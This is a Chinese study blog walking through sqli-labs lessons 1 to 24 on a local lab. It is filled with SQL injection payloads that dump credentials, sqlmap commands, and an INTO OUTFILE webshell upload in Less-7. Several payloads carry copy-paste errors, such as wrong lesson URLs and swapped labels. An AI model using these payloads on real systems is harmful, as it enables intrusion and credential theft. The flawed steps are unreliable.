sqli-labs学习笔记(Less1-Less24)

@TOC

Less-1 GET - Error based - Single quotes - String

select ... from ... where id='$id'

基于union联合查询

http://127.0.0.1/sqli-labs-master/Less-1/?id=0'

在这里插入图片描述

报错
http://127.0.0.1/sqli-labs-master/Less-1/?id=0' order by 3--+
在这里插入图片描述

  • 爆出数据库名
    http://127.0.0.1/sqli-labs-master/Less-1/?id=0' union select 1,2,database()--+
在这里插入图片描述
  • 爆出表名
    http://127.0.0.1/sqli-labs-master/Less-1/?id=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
在这里插入图片描述
  • 爆出列名
    http://127.0.0.1/sqli-labs-master/Less-1/?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name="users"--+
在这里插入图片描述
  • 爆出字段
    http://127.0.0.1/sqli-labs-master/Less-1/?id=0' union select 1,2,group_concat(username,0x3a,password) from users--+

==(0x3a:0x是十六进制标志,3a是十进制的58,是ascii中的 ':' ,用以分割pasword和username)==

在这里插入图片描述

使用sqlmap跑:

sqlmap -u "127.0.0.1/sqli-labs-master/Less-1/?id=1" --current-db

  • 跑出当前数据库
在这里插入图片描述

sqlmap -u "127.0.0.1/sqli-labs-master/Less-1/?id=1" -D security --tables

  • 爆出表名
在这里插入图片描述

sqlmap -u "127.0.0.1/sqli-labs-master/Less-1/?id=1" -D security -T users --columns

  • 爆出列名
在这里插入图片描述

sqlmap -u "127.0.0.1/sqli-labs-master/Less-1/?id=1" -D security -T users -C id,password,username --dump

  • 爆出字段


    在这里插入图片描述

Less-2 GET - Error based - Intiger based

当输入id=1‘值时,发现所输入的id值全部都带入进去了

在这里插入图片描述

猜测出:select ... from ... where id=$id
所以,将id=1’中的单引号去掉,然后按less-1的步骤进行报表即可
Payload:

  • 爆出数据库栏位,回显错误说明输入栏位大了,回显正确说明栏位小雨或等于此栏位
    http://127.0.0.1/sqli-labs-master/Less-3/?id=1 order by 3--+

  • 爆出数据库名
    http://127.0.0.1/sqli-labs-master/Less-3/?id=0 union select 1,2,database()--+

  • 爆出表名
    http://127.0.0.1/sqli-labs-master/Less-3/?id=0 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

  • 爆出列名
    http://127.0.0.1/sqli-labs-master/Less-3/?id=0 union select 1,2,group_concat(column_name) from information_schema.columns where table_name="users"--+

http://爆出字段
http://127.0.0.1/sqli-labs-master/Less-3/?id=0') union select 1,2,group_concat(username,0x3a,password) from users--+

在这里插入图片描述

Less-3 GET - Error based - Single quotes with twist string

当输入id=1’值时,发现输出的报错会自动加上一个右括号


在这里插入图片描述

猜测出:select ... from ... where id=('$id')
,所以,将id=1’中的单引号去掉,然后按less-1的步骤进行报表即可
Payload:

  • 爆出数据库栏位
    http://127.0.0.1/sqli-labs-master/Less-3/?id=1')order by 5 --+

  • 爆出数据库名
    http://127.0.0.1/sqli-labs-master/Less-3/?id=0') union select 1,2,database()--+

  • 爆出表名
    http://127.0.0.1/sqli-labs-master/Less-3/?id=0') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

  • 爆出列名
    http://127.0.0.1/sqli-labs-master/Less-3/?id=0') union select 1,2,group_concat(column_name) from information_schema.columns where table_name="users"--+

  • 爆出字段
    http://127.0.0.1/sqli-labs-master/Less-3/?id=0') union select 1,2,group_concat(username,0x3a,password) from users--+

在这里插入图片描述

Less-4 GET - Error based - Double Quotes - String

当输入id=1’值时,发现不报错,输入id=1”


在这里插入图片描述

猜测出:select ... from ... where id=("$id")
一一
Payload:

  • 爆出数据库栏位
    http://127.0.0.1/sqli-labs-master/Less-3/?id=1”) order by 3 --+

  • 爆出数据库名

http://127.0.0.1/sqli-labs-master/Less-3/?id=0”) union select 1,2,database()--+

  • 爆出表名:
    http://127.0.0.1/sqli-labs-master/Less-3/?id=0”) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

  • 爆出列名:
    http://127.0.0.1/sqli-labs-master/Less-3/?id=0”) union select 1,2,group_concat(column_name) from information_schema.columns where table_name="users"--+

  • 爆出字段:
    http://127.0.0.1/sqli-labs-master/Less-3/?id=0”) union select 1,2,group_concat(username,0x3a,password) from users--+

在这里插入图片描述

Less-5 GET - Double Injection - Single Quotes - String

当输入id=1’时出现


在这里插入图片描述

猜测其应该是布尔型盲注、报错型注入、时间延迟型盲注中的一种,构造时间延迟盲注payload:

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and sleep(5)--+

发现有明显延迟,说明其是时间延迟注入类型,构造爆破Payload:
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and sleep(5) order by 3--+

时间延迟型手工注入,正确会延迟,错误没有延迟。
本方法中payload = ... ?id=1' and if(报错型payload核心部分,sleep(5),1)--+

  • 爆数据库名称长度:
    Payload:http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and if(length(database())=8,sleep(5),1)--+
在这里插入图片描述

明显延迟,数据库名称长8位

  • 爆数据库名:
    Payload:http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and if(left(database(),1)='s',sleep(5),1)--+

明显延迟,数据库第一个字符为s,加下来以此增加left(database(),字符长度)中的字符长度,等号右边以此爆破下一个字符,正确匹配时会延迟。最终爆破得到left(database(),8)='security'

  • 爆出表名:
    http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and if( left((select table_name from information_schema.tables where table_schema=database() limit 3,1),1)='u' ,sleep(5),1)--+

其中 limit 3,1 中3代表第三个表
一个一个字母的爆破,最后

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and if( left((select table_name from information_schema.tables where table_schema=database() limit 3,1),5)='users' ,sleep(5),1)--+

明显延迟,说明表名为users

  • 爆出列名:
    http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='username' ,sleep(5),1)--+

在这里插入图片描述

明显延迟,说明存在username列
同理,爆出password列
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 5,1),8)='password' ,sleep(5),1)--+

  • 爆出字段:
    Username payload:http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and if(left((select password from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+
    Password payload:http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and if(left((select username from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+

按照id排序,这样便于对应。注意limit 从0开始.通过坚持不懈的尝试终于爆破到第一个用户的名字dumb,密码dumb,需要注意的是,mysql对大小写不敏感,所以你不知道是Dumb 还是dumb。
可以更改id值,将所有字段都爆出来

==最好用sqlmap跑,可以直接爆库==

Less-6 GET - Double Injection - Double Quotes - String

双引号字符型注入,上一题的单引号改成双引号就可以了,同样是两种方法:时间延迟型的手工盲注、报错型的手工盲注或者sqlmap

Less-7 GET - Dump into outfile - String

Payload:http://127.0.0.1/sqli-labs-master/Less-7/?id=1'))--+

在这里插入图片描述

正常回显,猜测其sql语句:select ... from ... where id=(('$id'))

  • 用第二题查询路径:
    Payload:
    http://127.0.0.1/sqli-labs-master/Less-2/?id=-1 union select 1,@@basedir,@@datadir --+

  • 然后上传一句话木马:
    http://127.0.0.1/sqli-labs-master/Less-7/?id=-1')) union select 1,2,'' into outfile "/var/www/html/sqli-labs-master/Less-7/hacker.php"--+(==linux系统Apache服务器==)
    然后用菜刀连接:

在这里插入图片描述

Less-8 GET - Blind - Boolian Based - Single Quotes

输入id=1时,回显,输入id=1’时不回显,当输入id=1’--+时,回显,所以,可以根据回显来判断,方法如less-5

在这里插入图片描述
  • 爆出数据库名长度payload:
    http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and length(database())=8--+

  • 爆出数据库名payload:
    http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and left((select database()),8)="security"--+

接下来爆出表名,列名,字段名,按照less-5方法即可

爆出security的表名payload:

  • 爆出users
    http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 3,1),5)="users"--+

  • 爆出users表中的列名和列名:
    http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and left((select column_name from information_schema.columns where table_name="users" limit 4,1),8)="username"--+
    http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and left((select column_name from information_schema.columns where table_name="users" limit 5,1),8)="password"--+

  • 爆出字段:
    Username payload:http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and left((select username from users order by id limit 0,1),4)="dumb"--+
    Password payload:http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and left((select password from users order by id limit 0,1),4)="dumb"--+

按照id排序,改变limit 值,一一爆出所有字段

Less-9 Blind - Time based. - Single Quotes

由此题名可知,是时间延迟盲注型,输入id=1’and sleep(5)--+

在这里插入图片描述

存在明显延迟,说明其sql语句是:select ... from... where id=’$id’

Payload:

  • 爆出数据库栏位数:
    http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and sleep(5) order by 3 --+
    存在明显延延迟,当输入order by 后为4时,发现没有延迟,说明栏位数为3
    爆出数据库长度:
    http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and sleep(5) and length(database())=8 --+
    存在明显延迟,说明正确
    爆出数据库名:
    其实就是一个一个的尝试,这种方法很耗时间
    http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and sleep(5) and left(database(),1)='s' --+
    明显延迟,继续增加字符数
    http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and sleep(5) and left(database(),2)='se' --+
    ...
    直到找完8个字符
    http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and sleep(5) and left(database(),8)='security' --+

  • 爆出列名:
    同爆数据库名一样,一个一个的爆
    http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(left((select table_name from information_schema.tables where table_schema=database() limit 3,1 ),1)='u',sleep(3),1)--+
    其中limit x,1),y) 中的x代表第几个表,y代表几个字符,一个一个字符的尝试
    http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(left((select table_name from information_schema.tables where table_schema=database() limit 3,1),5)='users',sleep(3),1)--+
    爆出我们所需的表名:users

  • 爆出列名:
    同上道理
    Username payload:http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='username',sleep(3),1)--+
    Password payload:http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 5,1),8)='password',sleep(3),1)--+
    爆出字段:

  • 爆出username列字段:
    http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(left((select username from users order by id limit 0,1),4)='dumb',sleep(3),1)--+
    爆出password列字段:
    http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(left((select password from users order by id limit 0,1),4)='dumb',sleep(3),1)--+
    同理,一个一个的爆出所有字段

Less-10 GET - Blind - Time based - double quotes

只需把了less-9的id=1’改为id=1”即可,其它都与less-9都一样

Less-11 POST - Error Based - Single quotes- String

在这里插入图片描述

输入 ttr,123使用burp抓包:

在这里插入图片描述

使用burp修改参数,重新传参:uname=ttr'or 1=1--+&passwd=123&submit=Submit

成功绕过,入侵内部
判断栏位数:

uname=ttr’ order by 2 --+&passwd=123&submit=Submit
当order by x 后的x为3时,爆错,说明栏位是2

  • 爆出数据库:
    Payload:uname=ttr'union select 1,database()--+&passwd=123&submit=Submit
在这里插入图片描述

爆出数据库名为:security

  • 爆出表名:
    Payload:uname=ttr'union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()--+&passwd=123&submit=Submit
在这里插入图片描述

爆出表名,其中users是我们需要的

  • 爆出列名:
    Payload:uname=ttr'union select 1,group_concat(column_name) from information_schema.columns where table_name='users'--+&passwd=123&submit=Submit
在这里插入图片描述

列名有==USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password==其中username和password是我们要的

  • 爆出字段:
    Payload:uname=ttr'union select 1,group_concat(username,0x3a,password) from users--+&passwd=123&submit=Submit
在这里插入图片描述

爆出来所有的用户名和密码

Less-12 POST - Error Based - Double quotes- String-with twist

由题目可知,是双引号注入型

在这里插入图片描述

使用burp抓包,然后尝试猜测其SQL语句,经过几次尝试,构造出爆破参数
Payload:uname=ttr") or 1=1--+&passwd=123&submit=Submit

在这里插入图片描述

接下来,就可以直接安装less-11的构造方法一步步爆出数据库名,表名,列名,字段

Less-13 POST - Double Injection - Single quotes- String -twist

当输入正确的用户名和密码时,发现不在输入用户名和密码猜测其应该是布尔型注入

在这里插入图片描述

使用burp抓包,尝试构造payload进行爆破,尝试几次,构造出爆破参数

在这里插入图片描述

既然是布尔类型,那么可以less-5一样,可以一步一步的爆破,可是使用burp这样是不行的,所以,就查找新的思路
百度一下,发现大佬们有使用报错型注入方式的

==报错型注入方式:==
由上可知,SQL语句为 select ... from ... where id=(‘$id’)
报错型注入主要是用extractvalue()函数和concat()函数,先了解一下这个函数
extractvalue() :对XML文档进行查询的函数
语法:extractvalue(目标xml文档,xml路径)
第二个参数 xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。
正常查询 第二个参数的位置格式 为 /xxx/xx/xx/xx ,即使查询不到也不会报错
extractvalue()能查询字符串的最大长度为32
concat(str,str,...)
返回结果为连接参数产生的字符串。如有任何一个参数为NULL ,则返回值为 NULL。
Payload:

  • 爆出数据库名:
    uname=ttr') and extractvalue(1,concat('~',(select database()))) --+&passwd=123&submit=Submit
在这里插入图片描述

以~开头的内容不是xml格式的语法,报错,但是会显示无法识别的内容是什么,这样就达到了目的。

  • 爆出表名:
    uname=ttr') and extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+&passwd=123&submit=Submit
在这里插入图片描述
  • 爆出列名:
    uname=ttr') and extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+&passwd=123&submit=Submit
在这里插入图片描述

显然没有将所有的列都爆出来,那么可以使用not in()将爆破后面的列名
修改payload如下
uname=ttr') and extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_name='users' and column_name not in('user','current_connections','total_connections')))) --+&passwd=123&submit=Submit

在这里插入图片描述

爆出所需列名
uname=ttr') and extractvalue(1,concat('~',(select group_concat(username,0x3a,password) from users))) --+&passwd=123&submit=Submit

  • 爆出字段:


    在这里插入图片描述

    可以看出只是爆出了部分字段,想要爆出所有字段,想上面一样使用 not in()方法

简单方式:==sqlmap方式==

首先,抓包后将文件保存为txt文件


在这里插入图片描述

我将文件命名为less13.txt,并保存到桌面上

在这里插入图片描述

然后,使用sqlmap进行爆破

  • 爆出数据库名:
    sqlmap -r /home/ttr/桌面/less13.txt --dbs

==less13.txt前需要写绝对路径==


在这里插入图片描述
  • 爆出表名:
    sqlmap -r /home/ttr/桌面/less13.txt -D security --tables
在这里插入图片描述
  • 爆出列名:
    sqlmap -r /home/ttr/桌面/less13.txt -D security -T users --columns
在这里插入图片描述
  • 爆出字段:
    sqlmap -r /home/ttr/桌面/less13.txt -D security -T users -C password,username --dump
在这里插入图片描述

Less-14 Double Injection - Single quotes- String -twist

直接使用burp抓包,尝试构造payload,猜测内部sql语句,尝试几次

在这里插入图片描述

所以,payload为:uname=ttr" or 1=1--+&passwd=123&submit=Submit

使用less-13的方式,报错型注入方法
如下:
构造payload爆出数据库:
uname=ttr" and extractvalue(1,concat('~',(select database())))--+&passwd=123&submit=Submit
接下来就像less-13一样,一步步爆出表名,列名,字段即可

也可以使用sqlmap跑

Less-15 POST - Blind- Boolian/time Based - Single quotes

直接使用burp抓包,尝试构造payload,猜测内部sql语句,尝试几次

在这里插入图片描述

时间延迟型注入
按照less-5一样,一步一步的爆破数据库,表名,列名,字段,只是不同的是使用burp抓包一步一步实现

Less-16 POST - Blind- Boolian/Time Based - Double quotes

这一题只需将id=ttr”改为id=ttr”),然后在按照less-15的方式即可。

Less-17 POST - Update Query- Error Based - String

Payload:

  • 爆出数据库版本:
    uname=admin&passwd=admin' or updatexml(1,concat('',version(),''),1)--+&submit=Submit
在这里插入图片描述
  • 爆出数据库名:
    uname=admin&passwd=admin' or updatexml(1,concat(0x7e,database(),0x7e),1)--+&submit=Submit
在这里插入图片描述
  • 爆出表名:
在这里插入图片描述

额,爆出的数据显然不是我想要的,我百度了一下,也没有解决,有空再试,如果有哪位大牛知道,欢迎指点。。。

Less-18 POST - Header Injection - Uagent field - Error based

此题为user-agent型注入
Payload:

  • 爆库名:
    User-Agent: ' or extractvalue(1,concat(0x7e,(select database()),0x7e)) or '


    在这里插入图片描述
  • 爆出表名:
    User-Agent: ' or extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)) or '


    在这里插入图片描述
  • 爆出列名:
    User-Agent: ' or extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e)) or '


    在这里插入图片描述

    使用 not in()将后面的列名爆出来
    User-Agent: ' or extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and column_name not in('user','current_connections','total_connections')),0x7e)) or '


    在这里插入图片描述
  • 爆出字段:
    User-Agent: ' or extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users),0x7e)) or '


    在这里插入图片描述

    使用not in()方法可以将所有字段都爆出来

Less-19 POST - Header Injection - Referer field - Error based

此题是referer型注入
Payload:
Referer: 'or extractvalue(1,concat(0x7e,(select database()),0x7e)) or '


在这里插入图片描述

按照less-18的步骤,一步一步爆出表名,列名,字段即可

Less-20 POST - Cookie injections - Uagent field - Error based

此题是cookie型注入
方法一union联合查询:
Cookie: uname=admi' order by 3#


在这里插入图片描述

当order by x后为3时,不报错,当x为4时,报错,说明栏位为3
Payload:

  • 爆库名:
    Cookie: uname=admi' union select 1,2,database()#
  • 爆表名:
    Cookie: uname=admi' union select 1,2, group_concat(table_name) from information_schema.tables where table_schema=database()#
  • 爆列名:
    Cookie: uname=admi' union select 1,2, group_concat(table_name) from information_schema.tables where table_schema='users'#
  • 爆字段:
    Cookie: uname=admi' union select 1,2, group_concat(username,0x3a,password) from users#

方法二报错型注入:
Payload:

  • 爆库名:
    Cookie: uname=admin' or updatexml(1,concat(0x7e,database(),0x7e),1)#
  • 爆表名:
    Cookie: uname=admin' or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)#
  • 爆列名:
    Cookie: uname=admin' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and column_name not in('user','current_connections','total_connections')),0x7e),1)#
  • 爆字段:
    Cookie:uname=admin' or updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password) from users),0x7e),1)#
    如果想爆出所有字段,使用not in()方法

Less-21 Cookie Injection- Error Based- complex - string

输入admin,admin


在这里插入图片描述

使用burp抓包,将payload进行base64加密后安装less-20的方法进行爆破即可

Less-22 Cookie Injection- Error Based- Double Quotes - string

Less-22和less-20,less-21的方法一样,不同的是payload改为以uname=admi”开头即可

Less-23 GET - Error based - strip comments

此题过滤了字符 #,- ,这样就不能使用#或者--+进行截断,只能构造闭合型payload

  • 爆库名:
    http://127.0.0.1/sqli-labs-master/Less-23/?id= 0' union select 1,2,(select database()) '

  • 爆表名:
    http://127.0.0.1/sqli-labs-master/Less-23/?id= 0' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()) '

  • 爆列名:
    http://127.0.0.1/sqli-labs-master/Less-23/?id= 0' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='users') '

  • 爆字段:
    http://127.0.0.1/sqli-labs-master/Less-23/?id= 0' union select 1,2,(select group_concat(username,0x3a,password) from users) '

此题也可使用报错型注入法,也可使用sqlmap跑

Less-24 Second Degree Injections Real treat -Store Injections

此题为二次注入,二次注入的思路为:首先在数据库中插入恶意数据,在插入过程中,对其中的特殊字符进行了相应的转义,保存在数据库中的就是自己输入的原始数据,开发者默认数据库中的数据,都是安全的数据,因此,在取出数据库中的恶意数据时,不在进行转义过程,从而造成数据恶意更改。

在这里插入图片描述

输入各种payload,发现一律报错,查看源码

在这里插入图片描述

mysql_escape_string()函数转义 SQL 语句中使用的字符串中的特殊字符。所以,payload中的特殊字符就会直接进行转义
直接注册新用户,username=admin’#
但是查看注册代码可以发现

在这里插入图片描述

同样对特殊字符转义处理


在这里插入图片描述

但是从上面可以看出,写到数据库的是原始内容
当登录账号admin’#后,修改密码


在这里插入图片描述

查看数据库,发现账号admin的密码由原来的123456修改为666,而注册的账号并没有变化
在这里插入图片描述

出现变化的原因主要是

在这里插入图片描述
pass' where username='curr_pass' ";
上面的语句在实际执行中变化为:
pass' where username='admin’#' and password='$curr_pass' ";

你可能感兴趣的:(sqli-labs学习笔记(Less1-Less24))